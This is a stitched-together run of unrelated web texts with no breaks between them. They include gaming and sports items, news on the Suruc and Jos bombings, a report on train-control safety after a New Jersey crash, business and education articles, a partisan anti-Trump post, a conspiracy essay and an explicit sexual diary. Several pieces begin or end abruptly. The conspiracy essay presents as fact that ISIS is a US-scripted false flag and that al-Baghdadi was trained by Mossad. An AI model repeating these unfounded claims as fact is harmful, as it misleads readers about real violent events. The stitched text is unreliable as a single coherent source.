Here’s how they work. When you purchase a specific ward skin from the Wards tab of the League of Legends Store, it gets added to your inventory for one week. You can activate a specific ward skin to change the appearance of your wards in game. You can keep up to a year’s worth (52 weeks) of ward skins in your inventory at a time, so don’t hesitate to stock up if you have a favorite. Ward skins function the same as a regular Sight or Vision ward.
Here are the first five ward skins available to unlock:
Deadfall Ward – 200 IP
Haunting Ward – 800 IP
Tomb Angel Ward – 25 RP
Widow Ward – 75 RP
Bat-O-Lantern Ward – 165 RP
But the Baltimore Ravens have reached the point where they need to change that philosophy, if Flacco has any say about it. During Baltimore's bye, Flacco sounded like a quarterback who has had enough of the checkdown, checkdown, checkdown game plan.
"We need to go after it," Flacco said Wednesday when asked if he wants the offense to open up more. "We can't sit back and just expect us to not lose football games. We got to go attack. We're a 4-5 football team. You always look at teams that are in this position and feel they have nothing to lose -- and we should feel that way. We got to go out there and leave it all out there."
Joe Flacco has two deep threats but hasn't been able to get the ball downfield. Michael Reaves/Getty Images
Flacco has one of the strongest arms in the league, and he's been paired with two of the most accomplished deep threats over the past decade in Mike Wallace and Jeremy Maclin. That's why it's baffling how ineffective the Ravens have been in getting Flacco's deep downfield pass to speed receivers who can fly past cornerbacks.
Flacco's average pass is traveling 6.1 yards in the air, which is the worst in the NFL and the lowest of his career by nearly a yard. His 21 throws of 20 or more yards rank 28th in the league and underscore the lack of urgency to push the ball downfield.
Former Ravens tight end Dennis Pitta, who is a close friend of Flacco, said one of the reasons why Baltimore's offense has struggled is philosophy. He believes the offense can't keep playing conservative football and rely on its defense to win games.
"Right now, Joe has one read and then he's got to check it down if it's not there," Pitta told WBAL Radio in Baltimore. "That's really the offense they have set up for him. It's difficult to play quarterback under those circumstances."
Flacco's passes, Ravens' scoring Year Avg. distance Avg. points 2008 9.04 24.1 2009 8.75 24.4 2010 8.88 22.3 2011 9.11 23.6 2012 9.48 24.8 2013 8.89 20.0 2014 8.40 25.6 2015 7.03 20.5 2016 7.14 21.4 2017 6.10 21.1
Flacco, Wallace and others say the Ravens have the players in place to deliver big plays. History says they're right.
From 2010 to 2016, Flacco completed 139 passes that traveled at least 20 yards in the air. That ranked No. 8 in the NFL over that span.
The Ravens were the only team to enter the season with two receivers who ranked in the top 10 in most catches of passes that went 20 or more yards over the past eight seasons. From 2009 to 2016, Wallace caught 64 of those deep throws and Maclin pulled in 52.
That past success has not resulted in big plays this season. In nine games, Baltimore has only five completions on passes of 20-plus yard.
Do the Ravens need to become more aggressive on offense and play like they have nothing to lose (as Flacco said)?
"Players have to go out there and play great. They have to execute," coach John Harbaugh said. "If you're talking about offense -- we need to complete passes, we need to run the ball well, we need to protect our quarterback, we need to go up and make catches, we need to execute, we need first downs, we need to score points. It's not about playcalling; it's about all of us together, going out there and playing winning football in all three phases.”
Winning football has meant letting Flacco throw the ball deep. When Baltimore reached the playoffs in Flacco's first five seasons, he averaged over 8.7 yards in pass attempt distance. In the past three years (which includes the non-playoff seasons of 2015 and 2016), Flacco has averaged 7.1 yards or fewer on his passes.
The Ravens have shown brief flashes of attacking downfield. There was the 52-yard pass to Wallace on the first play from scrimmage in Oakland and the 34-yard touchdown throw to Maclin against Miami. But those big plays have been offset by plays like one last Sunday on which wide receiver Breshad Perriman didn't attack a nicely thrown Flacco downfield pass and watched it get intercepted.
For the most part, Baltimore's offense -- which is 31st in passing -- has been more exacerbating than electric.
"It is tough to have a lot of those long drives and do that consistently," Flacco said. "You have to have some of those quick strikes in you, so you do not have to convert four or five third downs every single drive in order to score a touchdown."
The top big-play offenses are also the top scoring teams in the league. Of the eight quarterbacks who've completed 13 or more 20-yards-or-more passes, seven are leading offenses that rank in the top 10 in scoring.
Are there not enough opportunities deep downfield throws?
"Uh, everybody wants more chances," Wallace said. "It's football."
Harbaugh sees the disconnect between Flacco and his receivers on downfield throws is the culmination of factors not clicking. He pointed out one instance where everything had gone according to plan -- the play-action sucked in defenders and Baltimore's speed players ran past them -- until an unaccounted rusher applies pressure and forces Flacco out of the pocket.
Calgary Police Service received a tip from a member of the public in September 2016 that drug dealers were handing out business cards titled 'TWJ's Catering Service.' Three names and contact numbers were listed on the cards, Calgary police said in a news release.
Police believe no catering company existed and the business cards were a ruse.
An investigation identified two people believed to be involved. One suspect was seen dealing drugs on a post-secondary school property, police said.
Four search warrants were executed on two vehicles and two homes on Nov. 14., in the 200 block of Fresno Place N.E. and the 0-100 block of West Springs Road S.W.
Police seized the following items:
67.7 grams of crack cocaine
742 fentanyl pills
99 fentanyl/heroin pills
31.3 grams of methamphetamine
​118.7 grams of powder cocaine
$22,010 cash
CLEMSON, S.C. -- While Clemson defensive lineman Christian Wilkins worked to defuse the controversy surrounding a play in the PlayStation Fiesta Bowl in which he grabbed the groin of Ohio State's Curtis Samuel, teammate Ben Boulware threw fuel on the fire Wednesday.
"We've done it all year to mess with players," Boulware said. "No one has done it as aggressive as Christian did. We try to be more discreet about it. He grabbed a handful."
Following a short run by Samuel in Clemson's 31-0 win, Wilkins was caught on camera appearing to grab at the Buckeyes tailback's groin. The play quickly went viral, with many Ohio State fans calling the play dirty and suggesting Wilkins should be suspended or even arrested for sexual assault.
Wilkins apologized after the game, saying he was "just being silly" and "it's stuff you do when you're competing." He declined additional comments Wednesday, saying he was simply focused on Clemson's date with Alabama in the College Football Playoff National Championship.
Clemson coach Dabo Swinney said he spoke with Wilkins and was OK with his apology.
"We don't have a better guy on this team than Christian Wilkins," Swinney said.
Boulware was asked about the controversy, too, and his response was far more impassioned than Wilkins'.
"The game is so serious and locked in, and you do stuff to break up the seriousness of the game," Boulware said. "People are trying to say sexual assault, and people who say that have never played football, never been in a locker room, seen the weird stuff -- we're together every day for years, and you get very comfortable with each other."
"Christian [Wilkins] went a little too far. But I'll mess with somebody, poke them in the belly button, grab someone's butt. People freaking out about that have never played the game or they were losers with no friends when they played. It's annoying it's brought so much attention to it, trying to divert the attention that we beat them by 31 points."" Clemson LB Ben Boulware
Boulware said the pokes and grabs have been a means of getting into the heads of other players during a game, as he did when he poked South Carolina lineman Zack Bailey in another highlight that has become social media fodder in the aftermath of Wilkins' play.
"Zack Bailey didn't care," Boulware said. "He's like, 'Do y'all practice that at Clemson?' and I said, 'No, we practice beating you by 49 points.'"
Boulware said the reaction to Wilkins' play is a means of diverting attention from Clemson's dominant win in the semifinal.
"Christian went a little too far," Boulware said. "But I'll mess with somebody, poke them in the belly button, grab someone's butt. People freaking out about that have never played the game or they were losers with no friends when they played. It's annoying it's brought so much attention to it, trying to divert the attention that we beat them by 31 points."
Several players suggested similar plays were common at the bottom of a pile.
"People would be appalled, speechless if they knew," Clemson center Jay Guillermo said. "People were giving [Wilkins] a hard time, and I was like, he's not the only one."
Boulware said the play, while indiscreet, was not dirty and has been common during games this season.
"The worst thing I've done all year was poke Zach Bailey in the butt. Should I really be suspended because I touched his butt?" Boulware said. "People trying to get Christian suspended for grabbing this dude's butt -- he didn't stomp on his ankle or punch him in his private parts. He didn't do anything but grab his butt. Is it really that big of a deal?"
Alabama left tackle Cam Robinson made it clear where he stands on the topic.
SmartDuvet, the company that first launched a self-making bed on Kickstarter, is now offering a second edition that lets two people adjust their preferred temperatures on their side of the bed. The SmartDuvet Breeze, like its predecessor, is basically a blow-up air-blanket you put on your duvet, inside your duvet cover. (Do you have a duvet cover? I don’t. Should I have a duvet cover?) It attaches to a control box, which you might be able to hide under your bed.
Think of the control box as a mechanized air pump. SmartDuvet makes the bed by filling up like a pool toy. Because it’s attached to your bedding, it pulls everything with it as it fills with air. Your bed will be “made” when it reaches its final form.
Through an app, you can control the climate of each side of the SmartDuvet Breeze by blowing warm or cold air from control box. It’s dual-layered to include the bed-making and the temperature control air tubes, which you connect to the blanket during setup.
SmartDuvet creators claim that it’s not just good for your comfort, but that bed oxygenation will reduce sweat and prevent bed-bugs. They also say it’s a green product since you wouldn’t be heating or cooling your whole house to your desired temperature. Joke’s on you, SmartDuvet, I live in New York City and I can’t control my apartment’s thermostat. But it’s a nice idea.
It’s more than 550 percent funded on Indiegogo at time of publish and we demoed the first SmartDuvet at CES 2017, so while there’s no guarantee on receiving your crowdfunded product, this could actually ship in September 2017 as advertised.
Bodies lay beneath trees after the blast outside a cultural centre in the mostly Kurdish town of Suruc in southeastern Turkey, some 10 km (6 miles) from the Syrian town of Kobani, where Kurdish fighters have been battling Islamic State.
The explosion tore through a group of mostly university-aged students from an activist group as they gathered to make a statement to the local press about a trip they were planning to help rebuild Kobani.
Turkey’s NATO allies have been seeking tighter controls on a porous border with Syria that runs alongside Islamic State-held territories. But monitoring is difficult with 1.8 million Syrian refugees now on the Turkish side and smuggling rife.
The United States, which has an air base at Incirlik in southern Turkey, though it is not being used for its air attacks on IS forces, called the bombing a “heinous terror attack”.
Prime Minister Ahmet Davutoglu told a news conference in Ankara 30 people had been killed. “It is...most probably a suicide bombing.”
The Hurriyet newspaper said the attacker was an 18-year old woman, but there was no confirmation.
“Turkey has taken and will continue to take all necessary measures against the Islamic State,” Davutoglu said, without giving details. “Measures on our border with Syria...will be increased.”
One witness, giving his name as Mehmet, told Reuters by telephone he saw more than 20 bodies.
“It was a huge explosion, we all shook.”
Video footage showed young men and women standing behind a banner declaring support for Kobani, some holding up small red flags. Suddenly there was a huge explosion, apparently from within the crowd, sending up a column of flame.
“TERROR HAS NO RELIGION”
The Suruc attack comes weeks after Turkey deployed additional troops and equipment along parts of its border with Syria, concerned about the risk of spillover as fighting between Kurdish forces, rebel groups, Syrian government troops and Islamic State militants intensifies.
An explosion also occurred in Kobani shortly afterwards, which a monitoring group blamed on a car bomb. A spokesman for Syrian Kurdish forces, known as the YPG, said two fighters died.
Turkey’s leaders have said they do not plan any unilateral military incursion into Syria but have also said they will do whatever is necessary to defend the country’s borders.
“Terror has no religion, no country, no race,” President Tayyip Erdogan said of the bloodiest such attack in Turkey since at least 50 people were killed in the town of Reyhanli near the border in 2013.
Ankara fears any disorder in the border area could re-ignite an armed Kurdish rebellion by the Kurdistan Workers Party (PKK) in the south-east that has killed some 40,000 since 1984. It must also consider the danger of attacks in sprawling Western cities such as Istanbul where British and Jewish targets were bombed by al Qaeda in 2003 with the loss of 60 lives.
Turkey’s Kurds have been enraged by what they see as the AKP party government’s failure to do more to stop Islamic State. The PKK held Ankara responsible for Monday’s attack, saying it had “supported and cultivated” Islamic State against the Kurds.
Police in Istanbul fired tear gas and water cannon after a demonstration by several hundred pro-Kurdish protesters on the central Taksim Square turned violent. “Murderer Islamic State, collaborator Erdogan and AKP”, ran one slogan.
A police helicopter hovered overhead.
REBUILDING KOBANI
Kobani was the site of one of the biggest battles against Islamic State last year and was secured by Syrian Kurdish fighters last month after repeated assaults.
The YPG drove the Islamist militants back from the town with the help of U.S. air strikes after months of fighting and siege.
The students from the Federation of Socialist Youth Associations had been planning a trip to Kobani to build a library, plant a forest and build a playground, Fatma Edemen, a member of the group wounded in the blast, told Reuters.
“I was behind a banner so I couldn’t see the attacker, but we understand it was a suicide attack. I was thrown to the ground...I jumped up and began running before I even realised I was hurt,” Edemen, a 22-year-old journalism student at Ankara University, said by telephone.
The blast came after a series of attacks on the Kurdish HDP party in the run-up to a June 7 election in Turkey, including two small bombs at a political rally in the city of Diyarbakir, which the party blamed on Islamic State sympathisers.
A wounded man sits on a step following an explosion in Suruc, in the southeastern Sanliurfa province, Turkey, July 20, 2015. REUTERS/Ozcan Soysal/Depo Photos
“What gives us pause about this attack is that while the others were haphazard and sloppy ... the size of this explosion suggests something more sophisticated,” said Aaron Stein, an Atlantic Council fellow who specialises on Turkey and Syria.
Passengers aboard the No. 1614 Pascack Valley line train say it never slowed down before slamming through barriers and into a wall at the New Jersey station.
A witness at the scene said the engineer was found slumped over at the wheel of the train.
Now it has emerged that the train lacked a system called Positive Train Control (PTC), which combines satellite and computer data to monitor train movements and prevent them from going too fast or hitting other locomotives on the track.
A mandatory report by Federal Railroad Administration revealed that the life-saving technology is not installed on any NJ Transit locomotives.
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A woman is seen lying on the ground next to the crashed train as NJ Transit workers survey the damage
Passengers run to safety through debris after the NJ Transit train crashed in to the platform at the Hoboken Terminal
The PTC can override an engineer's actions - or lack thereof if, for any reason, they are unable to take control of the train.
Computer algorithms calculate the distance between a red light and a train. If a train is moving too fast for an engineer to stop safely, the backup safety system intervenes and automatically applies the brakes.
'It will not allow you to violate a speed restriction, a work-zone restriction or a red signal,' Joseph Szabo, a former head of the Federal Railroad Administration, told AFP. 'It just won't let you violate it.'
The system helps allow for human error or if an engineer is suddenly overcome with illness.
The National Transportation Safety Board has been calling for the national implementation of positive train controls for decades.
The board has said that over that time it has investigated at least 145 PTC-preventable accidents in which about 300 people were killed and 6,700 injured.
An injured woman is evacuated from the New Jersey train station after the deadly crash. Witnesses said some passengers were trapped under concrete on the platform
A passenger who was travelling on the crashed train is seen on the floor of a parking lot with a neck brace
'While the NTSB has called for a system like this for over 45 years, it still has not been fully implemented in our commuter, intercity, and freight trains. Without it, everybody on a train is one human error away from an accident,' the agency said.
An investigation into a 2008 crash between a Metrolink passenger train and a freight train in Chatsworth, north of Los Angeles, which killed 25 people and injured 135 others, found the collision could have been avoided if PTC had been installed.
Following the tragedy, politicians passed a law requiring the nation's main rail firms to implement a safety system by the end of 2015.
But progress has been painfully slow and last year, Congress passed a bill that grants a three-year extension to railroads before they have to install the long-sought safety technology.
Railroads have already had seven years to install PTC, but most weren't expected to meet the end-of-year deadline to put it into operation on all tracks that carry passenger trains or are used to haul liquids that turn into toxic gas if spilled.
As a result, railroads and companies that ship freight by rail have been strongly urging Congress to provide a delay.
Freight railroads, worried about fines and liability should they violate the deadline, threatened to stop hauling cargo like chlorine, which becomes a toxic gas when exposed to the air, and prevent commuter trains and Amtrak from using their tracks if the deadline was not delayed.
The bill granted railroads until December 31, 2018, to install the expensive technology, and they can seek a waiver for up to another two years if needed.
Railroads remain 'fully committed to being fully accountable and transparent in completing PTC,' said Ed Hamberger, president of the American Railroad Association.
But Sen. Barbara Boxer, D-Calif., attributed passage of the bill to lobbying by railroads, among the most powerful interest groups in Washington.
'People are dying, they're being injured because we don't have positive train control,' she said. Congress is likely to be faced with more requests for delays in the future 'if we're not really looking over the shoulder of the railroads,' she said.
The bill also extended the government's authority to spend money on transportation programs.
Rollout of PTC has varied widely across America's vast railway network and the dozens of freight and passenger companies that use it.
But PCT was not installed on the Amtrak Northeast Regional train, travelling from Washington, D.C. bound for New York City on May 12 last year, which crashed killing eight and injuring more than 200.
Positive train control 'would have prevented the accident, had it been monitoring the trains that collided,' the NTSB said in a document called 'Most Wanted Transportation Safety Improvements' for 2015.
Former Amtrak CEO Joseph Boardman said last year, shortly after that crash, that Amtrak began installing positive train control in the 1990s.
'We had to change a lot of things on the corridor to make it work, and we're very close,' Boardman said. 'We have delivered a leadership role in positive train control in the United States.'
Bare bodies of Delhi Metro tokens would soon be wrapped by micro advertisements, a move aimed at augmenting revenue by tapping the nearly eight-lakh-strong commuter base who use the contactless circular coins.
While about 70 per cent commuters travel using smart cards as per Delhi Metro Rail Corporation (DMRC) data, the rest, primarily visitors to the national capital, are dependent on tokens. Nearly 16,000 smart cards are sold every day from stations across the network.
Explaining the logic behind the step, DMRC officials said that on an average a token is circulated in three different hands within a day, thus providing “repetitive visibility” to different persons in different sections of the network.
“Moreover, tokens are mostly used by new travellers to Delhi. Hence, advertisement on tokens provide an attractive destination to the advertisers for wide publicity,” DMRC chief spokesman Anuj Dayal said.
The tokens, with an average diameter of 30 mm, provide printable space for advertisement at the centre with diameter of 25 mm, which can be viewed from both sides.
“This printable space shall be licensed to selected bidder for advertisement of its artwork in pursuant to bidding process,” the Request For Proposal (RFP) said.
Advertising
But the script needs some patching.
First off, the western media (MSM) talking points prominently feature the “slick look” and “Deft Command of Varied Media” displayed by ISIS. As we all know, Western Media lacks these skills. And we can see with our own eyes that ISIS uses their media smarts to hype aggression, torture, de-capitation, murder, etc. And, as we all know, such mayhem instantly attracts followers of all religions by the millions. If it’s in a Hollywood movie — or a U.S. Military recruiting video-game.
It looks like Uncle Sam’s scripting team is recycling those “scary Muslim” memes left over from 9/11. The problem is, that all goes against the basic teachings of Islam and most other religions. Maybe they’re hopeing critical thinking in the target audience will be Missing In Action. Or, perhaps, AWOL, since they’ve been scripting as if it’s been gone for a long time.
And, we have the following partial list of “you must suspend disbelief” gaffs, glitches, and hurdles so far:
1. 1,700 ragtag “jihadis” driving pickup trucks take over half a country — where there are 30,000 opposing troops stationed — and they do it in a couple of weeks. Weird things do happen in Iraq, but really now. Remember Operation Desert Storm, hyped as “The Mother of All Battles?” But that took the entire mechanized U.S. military — Army, Navy, Airforce and Marines. And it took six weeks. 2. There are 40,000 Yazidi “villagers” trapped and surrounded on Mt. Sinjar, hundreds of miles from the fearsome 1,700 ragtag jihadis. Aside from 40,000 folks being awfully large for a “village,” there’s a problem with getting everyone to go along with anything, especially on short notice. Folks stayed in Fallujah during the U.S. massacre, for example. And there’s the little problem with surrounding a whole mountain — and 40,000 armed people — with only 1,700 ragtag jihadis who are hundreds of miles away, busily taking over the other half of the country. This part of the fantasy was quickly dropped by U.S. Defense Sec. Hagel. 3. The guy who supposedly beheads the first U.S. reporter — with multiple camera angles — has a marked British accent. And the well-filmed incident echos a similar prominently hyped though peculiar beheading widely featured in 2006. 4. A guy who calls himself Abu Bakr Al Baghdadi, declares himself chief potentate of what has now been inflated into the dread ISIS “Caliphate” — but via NSA leaks, we discover he’s been trained by Israel’s secret service, the Mossad. And apparently wears expensive western watches. 5. Also via NSA leaks, we discover that the CIA etc, with whom Mossad often works closely, has an operation named “the hornet’s nest” with the express purpose of attracting all the world’s jihadis to one place.
These are just the obvious surface problems with the script. You can probably come up with others.
You do have to give Uncle’s team kudos for attempting to change the acronym from “ISIS” — which is the name of a Goddess — to the less harmonious “ISIL.” Unfortunately, that isn’t working any better than the attempt to change harmless-sounding “Osama” to the harsher “Usama.”
And yes, it is inappropriate to compare ISIS with the U.S. record of 3.4 million men, women and children killed in Vietnam based on mistakes — and an attack that didn’t happen, ~1 million dead Iraqis and total destruction of their infrastructure and society engineered by at least 935 documented U.S. lies — not to mention 500,000 kids dead by sanctions in pursuit of U.S. foreign policy, etc. ISIS just doesn’t have the resources.
No, no, I won’t speculate on the interesting possibility that Uncle Sam’s traditional subversion units miscalculated again and “the hornet’s nest” has gotten completely out of hand, taken on a life of it’s own, and really does threaten Western Civilization. However I will suggest that with all the taxpayer money the U.S. MilitaryIndustrialCongressionalComplex spends on war inductions, we deserve more believable fairy tales and a much tighter script.
Or is it supposed to be a comedy?
A friend just pointed out that the scripters are using that British accent to induce a titillating sense of fear in the home audience by suggesting “ISIS is everywhere.” I bet you’ve heard that soundbyte — or will soon. It grooms the population for war and more repression at home. Apparently they lifted that plot twist directly from well-known false-flag classic, Operation Northwoods.
My bad. It’s NOT a comedy.
Capping off a week of humiliating defeats and stinging rebukes, Donald Trump is preparing for a month-long vacation after tiring himself out with six months of no accomplishments, a lot of golfing, and regular Twitter rants.
Despite Trump’s repeated attacks on former President Barack Obama’s far less frequent golf outings, Trump was already on track to “outpace Obama’s entire 8-year travel budget by the end of 2017.”
And the cost to taxpayers for this leader-in-absentia continues to skyrocket. New documents show that Trump’s seven trips — thus far — to his Mar-a-Lago resort in Florida have run up a tab for the Coast Guard of $6.6 million.
But Trump himself is raking in profits: “Trump gave up day-to-day management of Mar-a-Lago but still owns the private club, which took in $37.2 million in resort-related revenue between January 2016 and April 2017, financial disclosures show.”
In a notable contrast, while Trump insisted that his callous and sudden decision to ban transgender Americans from serving in the military was in part due to the supposed “tremendous medical costs” of health care for transgender troops, the military is on pace to spend more money protecting Trump’s unending taxpayer-sponsored vacations than on “transition-related health care for transgender service members.”
As his selfishness may be causing cutbacks in other areas:
The Coast Guard’s commandant, Adm. Paul Zukunft, testified before a House subcommittee on Tuesday that the branch was “deferring maintenance” and running cutters and aircraft long beyond their retirement age because it needed more funding.
The Coast Guard’s primary missions, such as patrolling the coast and catching drug-runners, are already suffering. “But leaders say the military branch has struggled to complete its mission while faced with a tightening budget and aging fleet.”
Meanwhile, taxpayer funds are footing the bill for a New York billionaire to play 18 holes while lining his own pockets with the profits.
That’s probably why, of his first 26 weekends “on the job,” Trump spent 21 of them at his personal properties.
Every trip to one of the Trump-owned properties means tens of thousands of dollars going into his own coffers, as rooms are rented for staff, security, and others necessary to protect the president as he strolls along his golf courses.
Throughout the campaign, Trump heaped praise upon himself for his own greediness: “My whole life I’ve been greedy, greedy, greedy. I’ve grabbed all the money I could get. I’m so greedy.”
If elected, he promised he would be “greedy for the United States.”
While legacy skills and technologies power much of the infrastructure we rely on daily, the talent behind their creation, development and maintenance is aging out, and a looming skills shortage threatens to leave companies stranded.
"CIOs are being caught flat-footed here. Many of the IT generation that have worked with these technologies for the last 30 years are aging out, and it's increasingly hard to find replacements," says Chris O'Malley, CEO of mainframe software company Compuware.
A major disconnect
A recent Compuware study of 350 global CIOs found that while 88 percent agree that the mainframe will continue to be a key business asset over the next decade, 75 percent of CIOs responding to the survey say today's crop of distributed application developers have little understanding of the importance of the mainframe. Seventy percent of CIOs say that a lack of documentation and mentoring will hinder effective knowledge transfer from the older generation of talent to the new, creating increased risk, according to the survey.
While 81 percent of CIOs reported that their mainframes continue to evolve -- running new and different workloads than they did five years ago, like big data analysis -- 4 out of 10 have not put formal plans in place to address the coming generational shift in mainframe stewardship -- as their most experienced platform professionals retire.
"A lot of this talent has worked in these jobs for 30 years doing application development and writing tens of millions of lines of code. A lot of times the people that wrote the first line of code for a mainframe application are still working at that company. The economic crash in 2008 gave CIOs a little leeway; talent has hung on way past their expected retirement age, and exploited the need for their skills," says O'Malley. But this scenario can't go on forever, and CIOs have to address it soon.
It's a situation made even more risky because many mainframe applications are custom-built for their organizations, and are considered proprietary intellectual property. "That application code is unique to their business, and it's really difficult to train new talent on that unless it's done through mentoring, knowledge-sharing and training from inside your four walls," O'Malley says. Therefore, it's critical to put programs in place not only to attract and retain new talent, but to educate and train existing talent.
Education and integration
It doesn't have to be difficult, especially since companies like Compuware and application modernization and management firm Micro Focus have introduced tools that allow for the integration of distributed application IDEs and APIs with legacy solutions like mainframe, COBOL, Borland and others.
"We are introducing solutions that make mainframe tech more normalized and accessible to the new generation of developers; that's based on open systems and distributed application development tools like Eclipse. You now can build apps in Java and C++ on the mainframe to supplement what's written in COBOL or other languages, so customers can easily add modernized toolsets to what's already there," O'Malley says.
Some computer science programs at schools like Marist College and the University of Michigan are working closely with enterprises in their geographic area to tailor coursework so that, when computer science students graduate, they have the needed skills and opportunities for jobs in the field, adds O'Malley.
These initiatives are absolutely necessary if CIOs are to stem the tide of promising talent to companies like Apple, Google, or flashy Silicon Valley start-ups. "What we've done to counter this is introduce a start-up-like environment within the larger company so that our developers are working on fun, innovative projects that are still critical work for our customers," he says.
If you build it, they will come (but only if you market it)
Education and training can go only so far; large enterprises with foundations in legacy technology must do a better job marketing and promoting these technologies and skills to the next generation of developers, too. "You can both focus on how your firm uses modern languages and technologies like Java, Python, .Net, big data, the cloud and others and tie that into how those wouldn't be possible without the legacy foundation of older technologies," says Ed Airey, product marketing director, COBOL and RUMBA portfolios, Micro Focus.
When crafting job descriptions, Web copy or information packets for job fairs or careers sites, it's important to stress how dependent some of these current, hot technologies are on older, foundational infrastructure. "It's about shaping the message around the value in working with these older technologies.
At the same time companies themselves must better embrace next-gen technology. If you're innovating in cloud and mobile tech on top of legacy infrastructure, for instance, you'll be able to attract new talent that will gain experience on legacy enterprise computing. That's huge value," Airey says.
Show me the money
As many as three-quarters of state schools are failing to push their brightest pupils because teachers are reluctant to promote 'elitism', an Ofsted study says today.
Many teachers are not convinced of the importance of providing more challenging tasks for their gifted and talented pupils.
Bright youngsters told inspectors they were forced to ask for harder work. Others were resentful at being dragooned into 'mentoring' weaker pupils.
Previous studies have pointed to a widespread ideological reluctance in schools and local authorities to champion academic excellence (file photo)
In nearly three-quarters of 26 schools studied, pupils designated as being academically gifted or talented in sport or the arts were 'not a priority', Ofsted found.
Teachers feared that a focus on the brightest pupils would 'undermine the school's efforts to improve the attainment and progress of all other groups of pupils'.
Head teachers told inspectors that ministers had failed to give a strong enough signal that catering for gifted pupils should be central to schools' work.
Schools are meant to identify the top 5 to 10 per cent of pupils as 'gifted and talented' and ensure they are given appropriate tasks to help them achieve their potential.
By September 2010, such pupils should expect to receive written confirmation from their school of the extra activities and master-classes they will benefit from.
The schools in the study, 17 secondary and nine primary, were chosen because they had been told to improve provision for gifted pupils.
Previous studies have pointed to a widespread ideological reluctance in schools and local authorities to champion academic excellence.
A separate study has called for the introduction of academic selection at the age of 13 or 14 to identify pupils who excel at science.
Abdussalam Mohammed of the National Emergency Management Agency says 67 other people were wounded and are being treated in hospitals.
Witnesses who requested anonymity for fear of reprisals say the explosion at Yantaya Mosque came as a leading cleric who preaches peaceful co-existence was addressing a crowd during the holy month of Ramadan.
Another bomb exploded at Shagalinku, a restaurant patronized by elite politicians.
Jos is located where Nigeria's majority Muslim north and mainly Christian south collide. The city has been targeted in the past by bomb blasts claimed by Boko Haram Islamic extremists that have killed hundreds of people.
AP
Later, the railway was extended over the Outeniqua Mountains to Outshoorn, which also allowed for a connection to the national railway network. In 1928, another railway line was added, which connected George to Knysna. This allowed for the transport of timber, which was used to make furniture and pit props for mining.
This extension later became well known as the Outeniqua Choo-Tjoe, and is now a tourist attraction that still operates as an early 20th century steam locomotive.
Further reading:
DAY ONE
9 a.m. It’s the weekend, so I got to sleep a little late. I hop out of bed to brush my teeth and then crawl back under the sheets with my husband. I’m ovulating and want to have sex. I’m 42, so no one knows if this is possible … but we’re going to have fun trying.
9:20 a.m. I kiss him and feel his morning wood. He’s sleepy and not so into waking up right now, I can tell. But he’ll usually accept sex if given the chance. I’ll be real honest here: I don’t love my husband’s dick. I married him for a million other reasons (his sense of humor, overall attraction, wonderful family). I guess the problem is just that it’s basic. Like, medium to small and without much personality. I was spoiled before him, though. My exes all had huge, confident cocks — and I don’t care what anyone says, sex just felt better with a huge dick.
9:30 a.m. It’s not that sex is bad. I end up getting on top of him and riding him until we both come. It’s pretty standard. The only reason I was able to come is because if I ride him in a certain angle, I can get my clit stimulated against his groin area (whatever it’s called). I know how to get myself off; but let him think it’s all him.
11:30 a.m. We both work out. He goes running, I take a spin class.
3 p.m. We have a niece’s birthday party. The Brooklyn kid scene isn’t my favorite these days. I didn’t meet my husband until I was 39, and we didn’t start trying until recently. I have deep regrets about not using a sperm donor in my 30s or doing something (anything!) to get things going earlier. I had a few long-term relationships that led nowhere, I was working really hard, and suddenly I was just old. These birthday parties are joyful, but they do make me feel very sad and mournful, deep inside. I hope those feelings don’t show.
3:30 p.m. My sister asks us how “trying” is going, making my husband withdraw a bit. He’s weird about the whole thing, which makes me feel weird about it. I’m not sure he’s totally onboard. If he were, there are other things we could be doing … I’d be open to looking into adoption too. My husband is just kind of detached — and because we both work so many hours, there’s never a good time to really get into it.
8 p.m. Turned out dinner was definitely NOT a good time to get into it. We went out to a local Italian place and split a bottle of wine. A big fight ensued. He said I’m acting crazy and pregnancy is all I think about. He confirmed that he wants us to get pregnant, but he can’t handle it consuming our lives. What a dick.
11 p.m. I finish watching TV on my computer and go to bed without him. He’s drinking what I think is his third beer in his office. I heard the bottle cap come off. Gross. We already had a bottle of wine.
DAY TWO
9 a.m. It’s Sunday morning and the height of my ovulation. He’s still pissed from last night — I think he crawled into bed around 3 a.m. Sex is going to be tough. I decide to give it a second.
10:30 a.m. He is still sleeping so I go out for coffee. Strollers everywhere. I try to push away bitter feelings, but it’s hard. I pick up some produce at the Carroll Gardens farmers’ market. It’s raining toddlers there.
11:30 a.m. I come home and my husband is awake and smiling. We never stay mad at each other. I lead him to the bedroom and start to blow him. He’s really hard. He’s usually hard.
11:35 a.m. He’s having sex with me from behind — his favorite position, as it is for every guy, in my experience. I tell him to squeeze my nipples hard; it’s the one form of sex-related pain that I’m into. He does. I’m not going to come, I just know it, so I fake my orgasm just to make him feel good. I want him to come inside me, but it’s just not happening. He is not coming. I’m getting raw down there.
12:02 p.m. I detach my body from his. “What’s wrong?” I ask. He says nothing. And then we just stop having sex and start doing other things. I’m depressed but try not to overthink it.
6 p.m. My husband is going to see a friend’s play; I’m staying home because I already saw it. Pretty sure I won’t be ovulating tomorrow, so this was a bust. I don’t pee on the stick but I know my ovulation dates from the “guck” that comes out of me. It’s hardly scientific so I hope I’m wrong.
10 p.m. Bedtime for me. I have an early staff meeting tomorrow. I’m a lawyer; we both are, actually.
DAY THREE
6:30 a.m. I’m in a car to work. I want to get a head start.
3 p.m. Daily grind as usual. I like my job — it’s not a terrible gig, it’s actually pretty interesting. But today I’ve spent a lot of time Googling ovulation calendars and downloading apps. Maybe I am obsessed, but how else am I supposed to take control over the situation? We will make such great parents. None of my exes were fatherhood quality. My husband truly is. I hate that it’s creating tension between us.
4:30 p.m. In a client meeting, someone mentions an amazing Vietnamese restaurant that’s also sexy and dark. I text my husband about meeting there after work. For us, that usually means around 9 p.m. He’s game.
9 p.m. By now I’m a pro at going from “day to night.” I’m all freshened up even though I haven’t been home since 6:30 this morning. I decide to make a conscious effort not to talk about babies or ovulation.
10:30 p.m. Dinner was great. I ask if he wants to take a shower with me. He does. We get busy in the shower, but it’s always hard to really fuck in there. We move it to the bedroom. He bends me over the bed and makes love to me really hard and passionately. He comes inside me.
11 p.m. I lie in bed, praying it worked.
DAY FOUR
7:30 a.m. I rush to work, giving him a juicy kiss good-bye. There’s definitely wind in my sails today.
7:30 p.m. My day is all work and nothing else. I did have a FaceTime session with my parents, who live in Vermont. They are so sweet. They never pressure me. They love my husband and don’t interfere.
10 p.m. Pretty sure I’m not ovulating anymore so I try to find This Is Us on my computer but fall asleep before I can find anything. My husband is still at work …
DAY FIVE
